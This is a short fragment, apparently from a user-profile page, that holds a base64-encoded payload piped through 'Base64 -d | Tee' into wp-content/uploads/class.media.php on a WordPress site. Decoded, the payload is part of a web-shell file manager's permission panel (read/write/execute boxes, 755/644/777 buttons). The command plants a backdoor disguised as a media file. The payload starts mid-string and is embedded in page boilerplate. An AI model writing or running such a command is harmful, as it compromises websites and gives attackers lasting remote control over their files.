YWJlbD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0iZ3ciIG9uY2hhbmdlPSJ1Y2IoKSI+VzwvbGFiZWw+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9Imd4IiBvbmNoYW5nZT0idWNiKCkiPlg8L2xhYmVsPjwvZGl2PjwvZGl2Pgo8ZGl2IGNsYXNzPSJjZ3IiPjxkaXYgY2xhc3M9ImNnbCI+T3RoZXI8L2Rpdj48ZGl2IGNsYXNzPSJjZ2MiPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIGlkPSJ0ciIgb25jaGFuZ2U9InVjYigpIj5SPC9sYWJlbD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBpZD0idHciIG9uY2hhbmdlPSJ1Y2IoKSI+VzwvbGFiZWw+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9InR4IiBvbmNoYW5nZT0idWNiKCkiPlg8L2xhYmVsPjwvZGl2PjwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0ibWIiPgo8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjEycHg7dGV4dC1hbGlnbjpjZW50ZXIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBpZD0iY28iIG1heGxlbmd0aD0iMyIgc3R5bGU9IndpZHRoOjYwcHg7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1mYW1pbHk6bW9ub3NwYWNlIj48L2Rpdj4KPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbToxMnB4O2Rpc3BsYXk6ZmxleDtnYXA6NnB4O2ZsZXgtd3JhcDp3cmFwIj4KPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidCBidC1nIGJ0LXgiIG9uY2xpY2s9InVwZCgnNzU1JykiPjc1NTwvYnV0dG9uPgo8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0IGJ0LWcgYnQteCIgb25jbGljaz0idXBkKCc2NDQnKSI+NjQ0PC9idXR0b24+CjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnQgYnQtZyBidC14IiBvbmNsaWNrPSJ1cGQoJzc3NycpIj43Nzc8L2J1dHRvbj4KPC9kaXY+CjxkaXYgc3R5bGU9ImRpc3BsYXk6ZmxleDtnYXA6NnB4Ij48YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0IGJ0LXAiPkFwcGx5PC9idXR0b24+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidCBidC1nIiBvbmNsaWNrPSJjY20oKSI+Q2FuY2VsPC9idXR0b24+PC9kaXY+CjwvZGl2PjwvZm9ybT48L2Rpdj48L2Rpdj4KPC9ib2R5PjwvaHRtbD4K | Base64 -d | Tee Wp-content/uploads/class.media.php";}}
This user has not made any comment.
